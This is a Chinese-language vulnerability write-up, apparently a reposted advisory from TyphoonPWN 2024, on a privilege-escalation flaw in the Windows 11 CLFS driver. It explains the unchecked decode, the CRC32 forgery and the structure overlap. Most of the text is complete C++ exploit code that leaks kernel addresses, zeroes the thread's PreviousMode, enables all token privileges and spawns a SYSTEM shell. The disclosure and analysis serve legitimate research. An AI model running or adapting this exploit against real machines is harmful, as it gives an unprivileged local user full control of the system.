通用日志文件系统 (CLFS) 驱动程序中的漏洞允许本地用户在 Windows 11 上获得提升权限

admin 2024年10月24日13:31:01评论27 views字数 32023阅读106分44秒阅读模式

通用日志文件系统 (CLFS) 驱动程序中的漏洞允许本地用户在 Windows 11 上获得提升权限

概括

通用日志文件系统 (CLFS) 驱动程序中的漏洞允许本地用户在 Windows 11 上获得提升权限。

该漏洞存在于CClfsBaseFilePersisted::WriteMetadataBlock函数中,由于ClfsDecodeBlock没有检查返回值,有可能破坏CLFS内部结构的数据,从而允许攻击者提升权限。

此漏洞还允许攻击者泄露内核池地址,该地址可用于绕过NtQuerySystemInformation将在 Windows 11 24H2 中发布的缓解措施。然而,用于 TyphoonPWN 2024 的 PoC 不会利用此原语,因为目标机器将使用 Windows 11 23H2。

信用

参加 TyphoonPWN 2024 并获得第一名的独立安全研究员。

供应商回应

供应商告诉我们,该漏洞是重复的,并且已经修复,但在 Windows 11 最新版本上尝试时,该漏洞仍然有效。我们从未收到 CVE 编号或补丁信息。

受影响的版本

Windows 11 23H2

技术分析

CLFS 内部-为了对 CLFS 内部有基本的了解,建议阅读以下资源:

  • CLFS 内部结构(作者:Alex Ionescu)

    https://github.com/ionescu007/clfs-docs

关于CLFS文件的一些基本知识.blk

  • 它是内存中 CLFS 结构的磁盘表示,不包含内核地址等敏感数据

  • 它由多个块组成,每个块有一个或多个扇区,每个扇区0x200长度为字节

  • 每次我们对 CLFS 文件进行更改时,更改都会刷新到磁盘

  • 每个块都有其头部,由CLFS_LOG_BLOCK_HEADER结构表示

元数据块刷新工作流程如下:

  • 保存所有CClfsContainer指针并从内部结构中清除它们,以防止将内核地址泄漏到.blk文件中

  • 对块进行编码以便保存

  • 将块刷新到磁盘

  • 解码块以供内存使用

  • 恢复所有CClfsContainer指向内部结构的指针

编码过程将用 2 个字节标记元数据块的每个扇区的末尾,该 2 个字节由Usn块的值组成,奇偶校验值取决于该扇区在块中的位置。然后它将计算块的 CRC32 校验和并将其保存到Checksum块头的字段中。每个扇区的结束字节将保存到Signature数组中。代码(没有任何检查)如下:

static void EncodeBlock(PUCHAR pBlock)
{
    PCLFS_LOG_BLOCK_HEADER pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)pBlock;
    UCHAR cUsn = pLogBlockHeader->Usn;
    UCHAR cParity = 0x10;
    USHORT curParity = cUsn << 8;
    PUSHORT pSignatures = (PUSHORT)(pBlock + pLogBlockHeader->SignaturesOffset);

    for (int i = 0; i < pLogBlockHeader->TotalSectorCount; ++i)
    {
        if (i == 0)
            *(PUCHAR)&curParity = cParity | 0x40;
        else if (i == pLogBlockHeader->TotalSectorCount - 1)
        {
            if (i == 0)
                *(PUCHAR)&curParity = cParity | 0x60;
            else
                *(PUCHAR)&curParity = cParity | 0x20;
        }
        else
            *(PUCHAR)&curParity = cParity;

        pSignatures[i] = *(PUSHORT)(pBlock + 0x200 * i + 0x1fe);
        *(PUSHORT)(pBlock + 0x200 * i + 0x1fe) = curParity;
    }

    pLogBlockHeader->Checksum = 0;
    pLogBlockHeader->Checksum = crc32.Compute((const PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9);
}

解码过程将使用块数组中的信息恢复编码过程中被标签覆盖的字节Signature。但是,如果校验和为0xffffffff,它将保持块原样并返回STATUS_LOG_BLOCK_INVALID

NTSTATUS __fastcall ClfsDecodeBlock(
        struct _CLFS_LOG_BLOCK_HEADER *a1,
        unsigned int a2,
        char a3,
        unsigned __int8 a4,
        unsigned int *a5)

{
  ULONG Checksum; // r11d

  Checksum = a1->Checksum;
  if ( Checksum )
  {
    if ( Checksum != 0xFFFFFFFF )
    {
      a1->Checksum = 0;
      if ( Checksum == (unsigned int)CCrc32::ComputeCrc32(&a1->MajorVersion, a2 << 9) )
        return ClfsDecodeBlockPrivate(a1, a2, a3, a4, a5);
      a1->Checksum = Checksum;
    }
  }
  else if ( (a4 & 0x10) == 0 || a1->MajorVersion < 0xFu )
  {
    return ClfsDecodeBlockPrivate(a1, a2, a3, a4, a5);
  }
  return STATUS_LOG_BLOCK_INVALID;
}

众所周知,我们可以通过修改/向原始数据添加一些字节来强制对任何数据进行 CRC32 校验。请参阅此博客了解示例实现。因此,我们可以操纵 CRC32 校验0xffffffff和并防止块解码。

在 中CClfsBaseFilePersisted::WriteMetadataBlock,没有检查 的返回值ClfsDecodeBlock,因此日志块处于“已编码”状态,扇区末尾仍带有标记。如果某些重要数据位于某些扇区的末尾,我们可以用编码标记覆盖它,从而产生副作用并实现权限提升。

触发漏洞并破坏内部 CLFS 结构

目标将与容器结构和客户端结构重叠,因此我们可以重用以前使用过的漏洞策略。

首先,我们使用创建一个日志文件,然后使用带有控制代码的CreateLogFile添加一个容器。关闭 CLFS 句柄。DeviceIoControl0x8007A808

接下来我们.blk使用打开文件CreateFile来直接修改文件结构:

pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)(BlfData + pControlRecord->rgBlocks[2].cbOffset);
    pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);

    // Decode the block
    DecodeBlock((PUCHAR)pLogBlockHeader);

    // Extend the symbol zone so we can move structures farther
    pBaseRecordHeader->cbSymbolZone = 0x2000;

    // We move the client structure to offset 0x1fe0
    // The reason why we have to copy 0x30 bytes before is because of the CLFSHASHSYM struct that precedes client struct
    memmove((PUCHAR)pBaseRecordHeader + 0x2010 - 0x30 - 0x30,
            (PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30, 0xb8);

    pBaseRecordHeader->rgClients[0] = 0x2010 - 0x30;

    for (int i = 0; i < 11; ++i)
    {
        if (pBaseRecordHeader->rgClientSymTbl[i] == 0x1338)
        {
            pBaseRecordHeader->rgClientSymTbl[i] = 0x2010 - 0x30 - 0x30;
            break;
        }
    }

    // Fixup the CLFSHASHSYM of the client
    pHashSymClient = (PCLFSHASHSYM)((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30);
    pHashSymClient->cbOffset = pBaseRecordHeader->rgClients[0];
    pHashSymClient->cbSymName = pBaseRecordHeader->rgClients[0] + sizeof(CLFS_CLIENT_CONTEXT);

    // We create a copy of the container inside the moved client, at offset 0x2010
    // The reason why we have to copy 0x30 bytes before is because of the CLFSHASHSYM struct that precedes container struct
    memmove((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] + 0x20,
            (PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgContainers[0] - 0x10, 0x28);

    // Fixup the CLFSHASHSYM of the container
    pHashSymContainer = (PCLFSHASHSYM)((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0]);
    pHashSymContainer->cbOffset = 0x2010;
    pHashSymContainer->cbSymName = 0x2010 + sizeof(CLFS_CONTAINER_CONTEXT);

    // Modify pContainer field to BUFFER_ADDR
    // This points to a fake CClfsContainer structure which we will prepare later for our exploit
    // The pContainer field of the container overlaps with the lsnBase field of the client, and this field is cached at first, then restored when flushing metadata
    pContainerContext = (PCLFS_CONTAINER_CONTEXT)((PUCHAR)pBaseRecordHeader + 0x2010);
    pContainerContext->pContainer = (PVOID)BUFFER_ADDR;

    // Move the whole base record so that rgContainers[0] is at sector's end
    memmove((PUCHAR)pBaseRecordHeader + 0x66, (PUCHAR)pBaseRecordHeader,
            sizeof(CLFS_BASE_RECORD_HEADER) + pBaseRecordHeader->cbSymbolZone);

    pLogBlockHeader->RecordOffsets[0] += 0x66;

    // Manipulate the Usn to control the sector tag when encoding
    pLogBlockHeader->Usn = 0x20;

现在我们对块中的一些未使用的字节进行操作,以便当我们启用归档时,块的 CRC32 校验和将变为0xffffffff

// Simulate the change in DumpCount, this field will increase each time the block is flushed to disk
    pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);
    pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1338;

    // Simulate the changes when enabling archive
    pClientContext = reinterpret_cast<PCLFS_CLIENT_CONTEXT>(reinterpret_cast<PUCHAR>(pBaseRecordHeader) +
                                                            pBaseRecordHeader->rgClients[0]);
    pClientContext->fAttributes |= FILE_ATTRIBUTE_ARCHIVE;
    pClientContext->lsnArchiveTail = pClientContext->lsnLast = pClientContext->lsnBase;

    // Encode the block
    EncodeBlock((PUCHAR)pLogBlockHeader);

    // Change some unused bytes to forge CRC32 checksum
    pLogBlockHeader->Checksum = 0;
    crc32.Forge(0xffffffff, (PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9, 0x7800);

    // Decode the block
    DecodeBlock((PUCHAR)pLogBlockHeader);

    // Revert the changes we made above
    pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1337;
    pClientContext->fAttributes &= ~FILE_ATTRIBUTE_ARCHIVE;
    pClientContext->lsnArchiveTail.Internal = pClientContext->lsnLast.Internal = 0;

    // Encode the block for writing to disk
    EncodeBlock((PUCHAR)pLogBlockHeader);

保存文件然后CreateLogFile再次打开 CLFS 文件。

现在我们调用SetLogArchiveMode(hLogFile, ClfsLogArchiveEnabled)。在此调用期间,日志块的 CRC32 校验和将变为0xffffffffCClfsBaseFilePersisted::WriteMetadataBlock将被调用,并且ClfsDecodeBlock不会真正解码日志块。该函数仍然成功返回。

目前,容器结构和客户端结构是重叠的,因为扇区标记0x2010已写入rgContainers[0]

然后我们调用SetLogArchiveMode(hLogFile, ClfsLogArchiveDisabled)来恢复一些状态以使漏洞能够正常工作。

准备假的 CClfsContainer

由于 Windows 没有 SMAP,我们可以在用户空间中准备伪结构。我们选择BUFFER_ADDR = 0x500000000作为伪结构的地址。

伪结构将如下所示:

*(ULONG_PTR *)(Buffer) = (ULONG_PTR)Buffer + 0x800; // fake vftable
    *(HANDLE *)(Buffer + 0x20) = INVALID_HANDLE_VALUE; // m_hPhysicalContainer
    *(ULONG_PTR *)(Buffer + 0x30) = (ULONG_PTR)KThreadAddr + PREVIOUSMODE_OFFSET + 0x30; // m_pFileObject

    HMODULE hClfs = LoadLibrary(L"C:\Windows\system32\drivers\clfs.sys");
    *(ULONG_PTR *)(Buffer + 0x808) = // fake vftable + 0x8, real vftable entry is CClfsContainer::Release
        (ULONG_PTR)CLFSAddr + ((ULONG_PTR)GetProcAddress(hClfs, "ClfsSetEndOfLog") - (ULONG_PTR)hClfs);
    // We chose ClfsSetEndOfLog because this function will do nothing and will not interfere with the exploit

泄漏clfs.sys地址

使用NtQuerySystemInformationSystemModuleInformation类,我们将能够检索的基地址clfs.sys

泄漏当前进程的 KTHREAD 和 EPROCESS

使用NtQuerySystemInformationSystemExtendedHandleInformation,我们将能够检索当前进程KTHREAD的地址。EPROCESS

将 PreviousMode 设置为 0

关闭 CLFS 句柄时:

  • 该函数将为客户端CClfsLogFcbPhysical::FlushMetadata恢复缓存,从而使指向该类的指针等于。lsnBase0x500000000CClfsContainer0x500000000

  • 代码将调用该CClfsLogFcbPhysical::CloseContainers函数来关闭所有容器。

  • 0x500000000将作为指针传递给CClfsContainer::Close函数。

CClfsContainer::Close将调用,这将减少我们指向当前线程ObfDereferenceObject(m_pFileObject)的的引用计数。当前线程的将变为,这使我们能够绕过许多 API 上的用户模式地址检查,并且我们现在可以在调用这些 API 时提供内核地址。m_pFileObjectPreviousModePreviousMode0

提升权限

既然PreviousMode当前线程的 为,我们就可以直接在内核内存上0使用NtReadVirtualMemory和 了。利用之前泄露的地址,我们可以获取当前进程使用的地址。然后,我们修改 的字段以启用所有权限。NtWriteVirtualMemory

EPROCESSTokenNtReadVirtualMemory

PrivilegesToken

此时,我们可以在系统上执行特权操作。PoC 将cmd.exe在 下生成一个子进程winlogon.exe,并在该帐户下运行SYSTEM

Exploit

#define UMDF_USING_NTSTATUS

#include <algorithm>
#include <memory>
#include <random>
#include <string>

#include "clfspriv.h"
#include "crc32.h"
#include "ntdll.h"

#include <psapi.h>
#include <tlhelp32.h>

#define LOG_INFO(x) fprintf(stderr, "[*] %sn", x)
#define LOG_INFO_ADDR(x, p) fprintf(stderr, "[*] %s: %pn", x, p)
#define LOG_ERROR(x) fprintf(stderr, "[-] %s:%d: %s: %dn", __FILE__, __LINE__, x, GetLastError())
#define LOG_ERROR_CODE(x, c) fprintf(stderr, "[-] %s:%d: %s: %xn", __FILE__, __LINE__, x, c)

#define BUFFER_ADDR 0x500000000
#define PREVIOUSMODE_OFFSET 0x232
#define TOKEN_OFFSET 0x4b8

DECLARE_NTDLL_FUNC(NtQuerySystemInformation, (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation,
                                              ULONG SystemInformationLength, PULONG ReturnLength))
DECLARE_NTDLL_FUNC(NtReadVirtualMemory, (HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
                                         ULONG NumberOfBytesToRead, PULONG NumberOfBytesRead))
DECLARE_NTDLL_FUNC(NtWriteVirtualMemory, (HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
                                          ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten))

static PVOID KThreadAddr;
static PVOID CLFSAddr;
static PVOID ProcessEPROCESS;
static Crc32 crc32(0xedb88320);

template <typename T> struct SystemInformation
{

    NTSTATUS Status;
    std::unique_ptr<UCHAR[]> Buffer;
    SystemInformation(NTSTATUS status, std::unique_ptr<UCHAR[]> &buffer) : Status(status), Buffer(std::move(buffer))
    {
    }
    T *operator()()
    
{
        return (T *)Buffer.get();
    }
};

template <typename T>
static SystemInformation<T> QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass)
{
    for (ULONG size = 1;; size <<= 1)
    {
        auto buf = std::make_unique<UCHAR[]>(size);
        ULONG outSize;
        auto status = NtQuerySystemInformation(SystemInformationClass, buf.get(), size, &outSize);
        if (status == STATUS_INFO_LENGTH_MISMATCH)
            continue;
        if (status != STATUS_SUCCESS)
            buf.reset();
        return SystemInformation<T>(status, buf);
    }
}

static std::wstring GetTmpPath()
{
    WCHAR buf[MAX_PATH];
    GetTempPath2(MAX_PATH, buf);
    return buf;
}

static std::wstring GetRandomFileName(size_t length)
{
    std::random_device rng;
    std::wstring out(length, 0);
    std::generate_n(out.begin(), length, [&rng] {
        static const WCHAR alphanum[] = L"0123456789"
                                        L"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                                        L"abcdefghijklmnopqrstuvwxyz";
        return alphanum[rng() % (ARRAYSIZE(alphanum) - 1)];
    });
    return out;
}

static PVOID LeakModuleBase(const char *szPathName)
{
    PVOID pImageBase = NULL;

    auto info = QuerySystemInformation<RTL_PROCESS_MODULES>(SystemModuleInformation);
    if (info.Status != STATUS_SUCCESS)
    {
        LOG_ERROR_CODE("QuerySystemInformation", info.Status);
        return NULL;
    }

    for (ULONG i = 0; i < info()->NumberOfModules; i++)
    {
        if (!_stricmp((char *)info()->Modules[i].FullPathName, szPathName))
        {
            pImageBase = info()->Modules[i].ImageBase;
            break;
        }
    }

    return pImageBase;
}

static PVOID LeakHandleObject(DWORD dwProcessId, HANDLE hHandle)
{
    PVOID pObject = NULL;

    auto info = QuerySystemInformation<SYSTEM_HANDLE_INFORMATION_EX>(SystemExtendedHandleInformation);
    if (info.Status != STATUS_SUCCESS)
    {
        LOG_ERROR_CODE("QuerySystemInformation", info.Status);
        return NULL;
    }

    for (ULONG i = 0; i < info()->HandleCount; i++)
    {
        if (info()->Handles[i].UniqueProcessId == reinterpret_cast<HANDLE>(dwProcessId) &&
            info()->Handles[i].HandleValue == hHandle)
        {
            pObject = info()->Handles[i].Object;
            break;
        }
    }

    return pObject;
}

static int Setup()
{
    PUCHAR Buffer;
    HANDLE hThread;
    HANDLE hProcess;

    LOG_INFO("Retrieving ntdll functions");
    BEGIN_NTDLL_IMPORT();
    NTDLL_IMPORT(NtQuerySystemInformation);
    NTDLL_IMPORT(NtReadVirtualMemory);
    NTDLL_IMPORT(NtWriteVirtualMemory);
    END_NTDLL_IMPORT();

    LOG_INFO("Getting KTHREAD");
    if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hThread, 0, FALSE,
                         DUPLICATE_SAME_ACCESS))
    {
        LOG_ERROR("DuplicateHandle");
        return -1;
    }
    if ((KThreadAddr = LeakHandleObject(GetCurrentProcessId(), hThread)) == NULL)
    {
        LOG_ERROR("LeakKTHREAD");
        return -1;
    }
    LOG_INFO_ADDR("KTHREAD", KThreadAddr);
    CloseHandle(hThread);

    LOG_INFO("Getting CLFS.SYS");
    if ((CLFSAddr = LeakModuleBase("\systemroot\system32\drivers\clfs.sys")) == NULL)
    {
        LOG_ERROR("LeakModuleBase");
        return -1;
    }
    LOG_INFO_ADDR("CLFS.SYS", CLFSAddr);

    LOG_INFO("Getting process EPROCESS");
    if (!DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hProcess, 0, FALSE,
                         DUPLICATE_SAME_ACCESS))
    {
        LOG_ERROR("DuplicateHandle");
        return -1;
    }
    if ((ProcessEPROCESS = LeakHandleObject(GetCurrentProcessId(), hProcess)) == NULL)
    {
        LOG_ERROR("LeakEPROCESS");
        return -1;
    }
    LOG_INFO_ADDR("ProcessEPROCESS", ProcessEPROCESS);
    CloseHandle(hProcess);

    LOG_INFO("Preparing fake container");
    Buffer = (PUCHAR)VirtualAlloc((LPVOID)BUFFER_ADDR, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (Buffer == NULL)
    {
        LOG_ERROR("VirtualAlloc");
        return -1;
    }

    *(ULONG_PTR *)(Buffer) = (ULONG_PTR)Buffer + 0x800;
    *(HANDLE *)(Buffer + 0x20) = INVALID_HANDLE_VALUE;
    *(ULONG_PTR *)(Buffer + 0x30) = (ULONG_PTR)KThreadAddr + PREVIOUSMODE_OFFSET + 0x30;

    HMODULE hClfs = LoadLibrary(L"C:\Windows\system32\drivers\clfs.sys");
    if (hClfs == NULL)
    {
        LOG_ERROR("LoadLibrary");
        return -1;
    }
    *(ULONG_PTR *)(Buffer + 0x808) =
        (ULONG_PTR)CLFSAddr + ((ULONG_PTR)GetProcAddress(hClfs, "ClfsSetEndOfLog") - (ULONG_PTR)hClfs);
    FreeLibrary(hClfs);

    return 0;
}

static void DecodeBlock(PUCHAR pBlock)
{
    PCLFS_LOG_BLOCK_HEADER pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)pBlock;
    PUSHORT pSignatures = (PUSHORT)(pBlock + pLogBlockHeader->SignaturesOffset);

    for (int i = pLogBlockHeader->TotalSectorCount - 1; i >= 0; --i)
        *(PUSHORT)(pBlock + 0x200 * i + 0x1fe) = pSignatures[i];
}

static void EncodeBlock(PUCHAR pBlock)
{
    PCLFS_LOG_BLOCK_HEADER pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)pBlock;
    UCHAR cUsn = pLogBlockHeader->Usn;
    UCHAR cParity = 0x10;
    USHORT curParity = cUsn << 8;
    PUSHORT pSignatures = (PUSHORT)(pBlock + pLogBlockHeader->SignaturesOffset);

    for (int i = 0; i < pLogBlockHeader->TotalSectorCount; ++i)
    {
        if (i == 0)
            *(PUCHAR)&curParity = cParity | 0x40;
        else if (i == pLogBlockHeader->TotalSectorCount - 1)
        {
            if (i == 0)
                *(PUCHAR)&curParity = cParity | 0x60;
            else
                *(PUCHAR)&curParity = cParity | 0x20;
        }
        else
            *(PUCHAR)&curParity = cParity;

        pSignatures[i] = *(PUSHORT)(pBlock + 0x200 * i + 0x1fe);
        *(PUSHORT)(pBlock + 0x200 * i + 0x1fe) = curParity;
    }

    pLogBlockHeader->Checksum = 0;
    pLogBlockHeader->Checksum = crc32.Compute((const PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9);
}

static BOOL AllocContainer(HANDLE hLogFile, PULONGLONG cbContainer, const std::wstring &path)
{
    struct AllocContainerContext
    {

        ULONGLONG cbContainer;
        USHORT cContainer;
    };

    DWORD sz = sizeof(AllocContainerContext) + 2 * (path.size() + 1);
    auto ptr = std::make_unique<UCHAR[]>(sz);
    AllocContainerContext *ctx = reinterpret_cast<AllocContainerContext *>(ptr.get());
    ctx->cbContainer = *cbContainer;
    ctx->cContainer = 1;
    wcscpy_s(reinterpret_cast<PWCHAR>(ptr.get() + sizeof(AllocContainerContext)), path.size() + 1, path.c_str());

    DWORD bytesReturned;
    return DeviceIoControl(hLogFile, 0x8007A808, ctx, sz, cbContainer, sizeof(ULONGLONG), &bytesReturned, NULL);
}

static BOOL CraftVictimLog(const std::wstring &logFile)
{
    static UCHAR BlfData[0x10000];
    ULONG dwNumberOfBytesRead;
    ULONGLONG cbContainer = 512 * 1024;
    PCLFS_BASE_RECORD_HEADER pBaseRecordHeader;
    PCLFS_LOG_BLOCK_HEADER pLogBlockHeader;
    PCLFS_CONTROL_RECORD pControlRecord;
    PCLFSHASHSYM pHashSymClient, pHashSymContainer;
    PCLFS_CONTAINER_CONTEXT pContainerContext;
    PCLFS_CLIENT_CONTEXT pClientContext;

    LOG_INFO("Creating initial log file");
    HANDLE hLogFile = CreateLogFile((L"LOG:" + logFile).c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, 0);
    if (hLogFile == INVALID_HANDLE_VALUE)
    {
        LOG_ERROR("CreateLogFile");
        goto err;
    }
    if (!AllocContainer(hLogFile, &cbContainer, CLFS_CONTAINER_RELATIVE_PREFIX + GetRandomFileName(8)))
    {
        LOG_ERROR("AddLogContainer");
        goto err_close;
    }
    CloseHandle(hLogFile);

    LOG_INFO("Patching initial log file");
    hLogFile = CreateFile((logFile + CLFS_BASELOG_EXTENSION).c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL,
                          OPEN_EXISTING, 0, NULL);
    if (hLogFile == INVALID_HANDLE_VALUE)
    {
        LOG_ERROR("CreateFile");
        goto err;
    }
    if (!ReadFile(hLogFile, BlfData, sizeof(BlfData), &dwNumberOfBytesRead, NULL))
    {
        LOG_ERROR("ReadFile");
        goto err_close;
    }
    SetFilePointer(hLogFile, 0, NULL, FILE_BEGIN);

    pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)BlfData;
    pControlRecord = (PCLFS_CONTROL_RECORD)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);

    pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)(BlfData + pControlRecord->rgBlocks[2].cbOffset);
    pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);

    DecodeBlock((PUCHAR)pLogBlockHeader);

    pBaseRecordHeader->cbSymbolZone = 0x2000;

    memmove((PUCHAR)pBaseRecordHeader + 0x2010 - 0x30 - 0x30,
            (PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30, 0xb8);

    pBaseRecordHeader->rgClients[0] = 0x2010 - 0x30;

    for (int i = 0; i < 11; ++i)
    {
        if (pBaseRecordHeader->rgClientSymTbl[i] == 0x1338)
        {
            pBaseRecordHeader->rgClientSymTbl[i] = 0x2010 - 0x30 - 0x30;
            break;
        }
    }

    pHashSymClient = (PCLFSHASHSYM)((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30);
    pHashSymClient->cbOffset = pBaseRecordHeader->rgClients[0];
    pHashSymClient->cbSymName = pBaseRecordHeader->rgClients[0] + sizeof(CLFS_CLIENT_CONTEXT);

    memmove((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] + 0x20,
            (PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgContainers[0] - 0x10, 0x28);

    pHashSymContainer = (PCLFSHASHSYM)((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0]);
    pHashSymContainer->cbOffset = 0x2010;
    pHashSymContainer->cbSymName = 0x2010 + sizeof(CLFS_CONTAINER_CONTEXT);

    pContainerContext = (PCLFS_CONTAINER_CONTEXT)((PUCHAR)pBaseRecordHeader + 0x2010);
    pContainerContext->pContainer = (PVOID)BUFFER_ADDR;

    memmove((PUCHAR)pBaseRecordHeader + 0x66, (PUCHAR)pBaseRecordHeader,
            sizeof(CLFS_BASE_RECORD_HEADER) + pBaseRecordHeader->cbSymbolZone);

    pLogBlockHeader->RecordOffsets[0] += 0x66;
    pLogBlockHeader->Usn = 0x20;

    // time fo forge
    pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);
    pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1338;

    pClientContext = reinterpret_cast<PCLFS_CLIENT_CONTEXT>(reinterpret_cast<PUCHAR>(pBaseRecordHeader) +
                                                            pBaseRecordHeader->rgClients[0]);
    pClientContext->fAttributes |= FILE_ATTRIBUTE_ARCHIVE;
    pClientContext->lsnArchiveTail = pClientContext->lsnLast = pClientContext->lsnBase;

    EncodeBlock((PUCHAR)pLogBlockHeader);

    pLogBlockHeader->Checksum = 0;
    crc32.Forge(0xffffffff, (PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9, 0x7800);

    // revert
    DecodeBlock((PUCHAR)pLogBlockHeader);

    pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1337;

    pClientContext->fAttributes &= ~FILE_ATTRIBUTE_ARCHIVE;
    pClientContext->lsnArchiveTail.Internal = pClientContext->lsnLast.Internal = 0;

    EncodeBlock((PUCHAR)pLogBlockHeader);

    if (!WriteFile(hLogFile, BlfData, sizeof(BlfData), &dwNumberOfBytesRead, NULL))
    {
        LOG_ERROR("WriteFile");
        goto err_close;
    }
    CloseHandle(hLogFile);

    return TRUE;

err_close:
    CloseHandle(hLogFile);
err:
    return FALSE;
}

static void SpawnShell()
{
    PROCESSENTRY32 entry;
    HANDLE snapshot;

    entry.dwSize = sizeof(PROCESSENTRY32);

    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    INT pid = -1;
    if (Process32First(snapshot, &entry))
    {
        while (Process32Next(snapshot, &entry))
        {
            if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
            {
                pid = entry.th32ProcessID;
                break;
            }
        }
    }

    CloseHandle(snapshot);

    LOG_INFO("Spawning shell");

    HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hWinLogon == INVALID_HANDLE_VALUE)
    {
        LOG_ERROR("OpenProcess");
        return;
    }

    STARTUPINFOEX si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));

    SIZE_T size;
    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    auto xxx = std::make_unique<UCHAR[]>(size);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)xxx.get();
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hWinLogon, sizeof(HANDLE),
                              NULL, NULL);

    si.StartupInfo.cb = sizeof(STARTUPINFOEX);

    wchar_t cmdline[MAX_PATH];
    wcscpy_s(cmdline, L"cmd.exe");

    if (!CreateProcess(NULL, cmdline, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL,
                       L"C:\", reinterpret_cast<LPSTARTUPINFO>(&si), &pi))
        LOG_ERROR("CreateProcess");
}

static void Exploit()
{
    HANDLE hLogFile;
    DWORD dwNumberOfBytesRead;
    ULONG_PTR Token;
    NTSTATUS status;
    std::wstring logFile = GetTmpPath() + GetRandomFileName(8);

    if (!CraftVictimLog(logFile))
    {
        LOG_ERROR("CraftVictimLog");
        return;
    }
    LOG_INFO("Open log file");
    hLogFile = CreateLogFile((L"LOG:" + logFile).c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0);
    if (hLogFile == INVALID_HANDLE_VALUE)
    {
        LOG_ERROR("CreateLogFile");
        return;
    }
    LOG_INFO("Enable archive");
    if (!SetLogArchiveMode(hLogFile, ClfsLogArchiveEnabled))
    {
        LOG_ERROR("SetLogArchiveMode");
        CloseHandle(hLogFile);
        return;
    }
    LOG_INFO("Disable archive");
    SetLogArchiveMode(hLogFile, ClfsLogArchiveDisabled);
    CloseHandle(hLogFile);

    LOG_INFO("Getting current process token");
    if ((status = NtReadVirtualMemory(GetCurrentProcess(), (PVOID)((ULONG_PTR)ProcessEPROCESS + TOKEN_OFFSET), &Token,
                                      sizeof(Token), &dwNumberOfBytesRead)) != STATUS_SUCCESS)
    {
        LOG_ERROR_CODE("NtReadVirtualMemory", status);
        return;
    }
    Token &= 0xfffffffffffffff0;
    LOG_INFO_ADDR("Token", Token);

    ULONGLONG x[3];
    x[0] = x[1] = x[2] = 0xffffffffc;

    LOG_INFO("Enabling all privileges");
    if ((status = NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)(Token + 0x40), x, sizeof(x),
                                       &dwNumberOfBytesRead)) != STATUS_SUCCESS)
    {
        LOG_ERROR_CODE("NtWriteVirtualMemory", status);
        return;
    }

    LOG_INFO("Cleaning up");

    dwNumberOfBytesRead = 1;
    if ((status = NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)((ULONG_PTR)KThreadAddr + PREVIOUSMODE_OFFSET),
                                       &dwNumberOfBytesRead, sizeof(dwNumberOfBytesRead), &dwNumberOfBytesRead)) !=
        STATUS_SUCCESS)
        LOG_ERROR_CODE("NtWriteVirtualMemory", status);

    SpawnShell();
}

int main()
{
    if (!Setup())
        Exploit();
}
// clspriv.h
#pragma once

#include <Windows.h>
#include <clfsw32.h>
